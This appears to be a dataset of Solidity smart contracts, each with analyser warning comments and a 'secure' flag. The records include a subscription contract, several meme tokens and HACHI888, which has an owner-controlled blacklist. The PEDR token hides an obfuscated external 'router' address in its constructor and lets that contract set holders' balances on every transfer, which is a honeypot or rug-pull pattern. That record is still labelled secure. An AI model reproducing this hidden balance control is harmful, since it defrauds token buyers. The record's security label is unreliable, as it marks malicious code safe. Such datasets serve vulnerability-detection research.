files
dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\" as AggregatorV3Interface;\nimport \"@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol\" as IUniswapV3Pool;\n\ncontract Subscription is Ownable, Pausable {\n enum SubscriptionPeriod {\n ThirtyDays,\n NinetyDays,\n OneEightyTwoDays,\n ThreeSixtyFiveDays\n }\n\n struct Subscriber {\n uint256 start;\n uint256 end;\n SubscriptionPeriod period;\n }\n\n mapping(address => Subscriber) public subscribers;\n\n mapping(SubscriptionPeriod => uint256) public subscriptionPricesUSD;\n\n mapping(address => bool) public nftSubscriberList;\n\n address[] public nftSubscriberArray;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc55b43): Subscription.priceFeedETH should be constant \n\t// Recommendation for dc55b43: Add the 'constant' attribute to state variables that never change.\n AggregatorV3Interface private priceFeedETH;\n\n address private constant NEF_ADDRESS =\n 0xDa6593dBF7604744972B1B6C6124cB6981b3c833;\n\n IERC20 private constant NEF = IERC20(NEF_ADDRESS);\n\n address private constant UNISWAP_NEF_USDC_PAIR =\n 0xcB3214329F83EF1265c5db47FD368408B470844A;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4599732): Subscription.uniswapV3Pool should be immutable \n\t// Recommendation for 4599732: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV3Pool private uniswapV3Pool;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6711055): Subscription.subscriptionPriceUSD should be constant \n\t// Recommendation for 6711055: Add the 'constant' attribute to state variables that never change.\n uint256 public subscriptionPriceUSD;\n\n event SubscribeEvent(\n address indexed user,\n uint256 start,\n uint256 end,\n address token\n );\n\n event UnsubscribeEvent(address indexed user);\n\n event CollectPaymentEvent(address indexed user, uint256 amount);\n\n event UnfundedErrorEvent(address indexed user);\n\n event NFTSubscriberAdded(address nftContract);\n\n event NFTSubscriberRemoved(address nftContract);\n\n constructor() {\n subscriptionPricesUSD[SubscriptionPeriod.ThirtyDays] = 20;\n\n subscriptionPricesUSD[SubscriptionPeriod.NinetyDays] = 60;\n\n subscriptionPricesUSD[SubscriptionPeriod.OneEightyTwoDays] = 110;\n\n subscriptionPricesUSD[SubscriptionPeriod.ThreeSixtyFiveDays] = 200;\n\n uniswapV3Pool = IUniswapV3Pool(UNISWAP_NEF_USDC_PAIR);\n }\n\n function addNFTSubscriber(address nftContract) external onlyOwner {\n require(nftContract != address(0), \"Invalid contract address\");\n\n require(!nftSubscriberList[nftContract], \"Already in list\");\n\n nftSubscriberList[nftContract] = true;\n\n nftSubscriberArray.push(nftContract);\n\n emit NFTSubscriberAdded(nftContract);\n }\n\n function removeNFTSubscriber(address nftContract) external onlyOwner {\n require(\n nftSubscriberList[nftContract],\n \"Contract not in subscriber list\"\n );\n\n nftSubscriberList[nftContract] = false;\n\n for (uint256 i = 0; i < nftSubscriberArray.length; i++) {\n if (nftSubscriberArray[i] == nftContract) {\n nftSubscriberArray[i] = nftSubscriberArray[\n nftSubscriberArray.length - 1\n ];\n\n nftSubscriberArray.pop();\n\n break;\n }\n }\n\n emit NFTSubscriberRemoved(nftContract);\n }\n\n function setSubscriptionPriceForPeriod(\n SubscriptionPeriod _period,\n uint256 _priceUSD\n ) external onlyOwner {\n subscriptionPricesUSD[_period] = _priceUSD;\n }\n\n function getSubscriptionPriceForPeriod(\n SubscriptionPeriod _period\n ) public view returns (uint256) {\n uint256 usdPrice = subscriptionPricesUSD[_period];\n\n uint256 nefPricePerUSD = getNEFPrice();\n\n uint256 scaledUsdPrice = usdPrice * 10 ** 6;\n\n uint256 nefAmountForUsdPrice = (scaledUsdPrice * nefPricePerUSD) /\n 10 ** 6;\n\n return nefAmountForUsdPrice;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4fae135): Subscription.getNEFPrice() ignores return value by (sqrtPriceX96,None,None,None,None,None,None) = uniswapV3Pool.slot0()\n\t// Recommendation for 4fae135: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b5e550e): Subscription.getNEFPrice() performs a multiplication on the result of a division price = price / (2 ** 96) / (2 ** 96) (price * 1e18) / 1e12\n\t// Recommendation for b5e550e: Consider ordering multiplication before division.\n function getNEFPrice() public view returns (uint256) {\n\t\t// unused-return | ID: 4fae135\n (uint160 sqrtPriceX96, , , , , , ) = uniswapV3Pool.slot0();\n\n uint256 price = uint256(sqrtPriceX96) * uint256(sqrtPriceX96);\n\n\t\t// divide-before-multiply | ID: b5e550e\n price = price / (2 ** 96) / (2 ** 96);\n\n\t\t// divide-before-multiply | ID: b5e550e\n return (price * 1e18) / 1e12; // Adjust for USDC's 6 decimals to NEF's 18 decimals\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c4b62eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c4b62eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f96354d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f96354d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function subscribe(SubscriptionPeriod _period) external whenNotPaused {\n uint256 subscriptionPrice = getSubscriptionPriceForPeriod(_period);\n\n\t\t// reentrancy-events | ID: c4b62eb\n\t\t// reentrancy-benign | ID: f96354d\n require(\n NEF.transferFrom(msg.sender, address(this), subscriptionPrice),\n \"Transfer failed\"\n );\n\n Subscriber storage subscriber = subscribers[msg.sender];\n\n\t\t// reentrancy-benign | ID: f96354d\n subscriber.start = block.timestamp;\n\n\t\t// reentrancy-benign | ID: f96354d\n subscriber.end = block.timestamp + getSubscriptionDuration(_period);\n\n\t\t// reentrancy-benign | ID: f96354d\n subscriber.period = _period;\n\n\t\t// reentrancy-events | ID: c4b62eb\n emit SubscribeEvent(\n msg.sender,\n subscriber.start,\n subscriber.end,\n address(NEF)\n );\n }\n\n function getSubscriptionDuration(\n SubscriptionPeriod _period\n ) internal pure returns (uint256) {\n if (_period == SubscriptionPeriod.ThirtyDays) {\n return 30 days;\n } else if (_period == SubscriptionPeriod.NinetyDays) {\n return 90 days;\n } else if (_period == SubscriptionPeriod.OneEightyTwoDays) {\n return 182 days;\n } else if (_period == SubscriptionPeriod.ThreeSixtyFiveDays) {\n return 365 days;\n } else {\n revert(\"Invalid subscription period\");\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 33edd7f): Subscription.isSubscriber(address) uses timestamp for comparisons Dangerous comparisons subscriber.end != 0 && block.timestamp <= subscriber.end\n\t// Recommendation for 33edd7f: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 850957f): Subscription.isSubscriber(address) has external calls inside a loop nft.balanceOf(_user) > 0\n\t// Recommendation for 850957f: Favor pull over push strategy for external calls.\n function isSubscriber(address _user) public view returns (bool) {\n Subscriber storage subscriber = subscribers[_user];\n\n\t\t// timestamp | ID: 33edd7f\n if (subscriber.end != 0 && block.timestamp <= subscriber.end) {\n return true;\n }\n\n\t\t// cache-array-length | ID: 177937e\n for (uint256 i = 0; i < nftSubscriberArray.length; i++) {\n address nftContract = nftSubscriberArray[i];\n\n if (nftSubscriberList[nftContract]) {\n IERC721 nft = IERC721(nftContract);\n\n\t\t\t\t// calls-loop | ID: 850957f\n if (nft.balanceOf(_user) > 0) {\n return true;\n }\n }\n }\n\n return false;\n }\n\n function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {\n uint256 balance = _token.balanceOf(address(this));\n\n require(_amount <= balance, \"Not enough balance\");\n\n require(_token.transfer(owner(), _amount), \"Transfer failed\");\n }\n\n function tokenBalance(IERC20 _token) public view returns (uint256) {\n return _token.balanceOf(address(this));\n }\n}",
"file_name": "solidity_code_1269.sol",
"secure": 0,
"size_bytes": 9709
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract PEDR is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: a90440c): PEDR._totalSupply should be constant \n\t// Recommendation for a90440c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46a984d): PEDR._name should be constant \n\t// Recommendation for 46a984d: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Pedro the Raccoon\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c28e810): PEDR._symbol should be constant \n\t// Recommendation for c28e810: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"PEDRO\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 97c6f54): PEDR.Router2Instance should be immutable \n\t// Recommendation for 97c6f54: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(aEdZTTu))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal pure returns (uint160) {\n return (90 +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000012\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal pure returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap(\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_127.sol",
"secure": 1,
"size_bytes": 5717
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract HACHI888 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fbf187f): HACHI888._taxWallet should be immutable \n\t// Recommendation for fbf187f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea85f2b): HACHI888._initialBuyTax should be constant \n\t// Recommendation for ea85f2b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 630c758): HACHI888._initialSellTax should be constant \n\t// Recommendation for 630c758: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d86687a): HACHI888._reduceBuyTaxAt should be constant \n\t// Recommendation for d86687a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3a9bbdf): HACHI888._reduceSellTaxAt should be constant \n\t// Recommendation for 3a9bbdf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63a835e): HACHI888._preventSwapBefore should be constant \n\t// Recommendation for 63a835e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HACHI888\";\n\n string private constant _symbol = unicode\"$8\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5855d9a): HACHI888._taxSwapThreshold should be constant \n\t// Recommendation for 5855d9a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 5000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc1cb64): HACHI888._maxTaxSwap should be constant \n\t// Recommendation for dc1cb64: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xCB1b6db39B88c7093BD11939f63Ac7E50d8c6e1e);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d52cb9): HACHI888.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2d52cb9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f9c628): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f9c628: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f861664): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f861664: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4f9c628\n\t\t// reentrancy-benign | ID: f861664\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4f9c628\n\t\t// reentrancy-benign | ID: f861664\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5f1acd1): HACHI888._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5f1acd1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f861664\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4f9c628\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6f3e6b4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6f3e6b4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0194930): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0194930: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 6f3e6b4\n\t\t\t\t// reentrancy-eth | ID: 0194930\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6f3e6b4\n\t\t\t\t\t// reentrancy-eth | ID: 0194930\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0194930\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0194930\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0194930\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 6f3e6b4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0194930\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0194930\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 6f3e6b4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f9c628\n\t\t// reentrancy-events | ID: 6f3e6b4\n\t\t// reentrancy-benign | ID: f861664\n\t\t// reentrancy-eth | ID: 0194930\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f9c628\n\t\t// reentrancy-events | ID: 6f3e6b4\n\t\t// reentrancy-eth | ID: 0194930\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6eaf525): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6eaf525: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6aad0b1): HACHI888.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6aad0b1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d4d36a5): HACHI888.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d4d36a5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b3d5a9f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b3d5a9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 6eaf525\n\t\t// reentrancy-eth | ID: b3d5a9f\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 6eaf525\n\t\t// unused-return | ID: 6aad0b1\n\t\t// reentrancy-eth | ID: b3d5a9f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 6eaf525\n\t\t// unused-return | ID: d4d36a5\n\t\t// reentrancy-eth | ID: b3d5a9f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 6eaf525\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b3d5a9f\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1270.sol",
"secure": 0,
"size_bytes": 17245
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8ec1c30): Contract locking ether found Contract DonaldTrumpCatepillar has payable functions DonaldTrumpCatepillar.receive() But does not have a function to withdraw the ether\n// Recommendation for 8ec1c30: Remove the 'payable' attribute or add a withdraw function.\ncontract DonaldTrumpCatepillar is ERC20, Ownable {\n constructor() ERC20(unicode\"Donald Trump Catepillar\", unicode\"DTC\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 8ec1c30): Contract locking ether found Contract DonaldTrumpCatepillar has payable functions DonaldTrumpCatepillar.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 8ec1c30: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1271.sol",
"secure": 0,
"size_bytes": 1085
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a89ded2): Contract locking ether found Contract DogKiller has payable functions DogKiller.receive() But does not have a function to withdraw the ether\n// Recommendation for a89ded2: Remove the 'payable' attribute or add a withdraw function.\ncontract DogKiller is ERC20, Ownable {\n constructor() ERC20(unicode\"Dog Killer\", unicode\"DK\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a89ded2): Contract locking ether found Contract DogKiller has payable functions DogKiller.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a89ded2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1272.sol",
"secure": 0,
"size_bytes": 1011
}
|
{
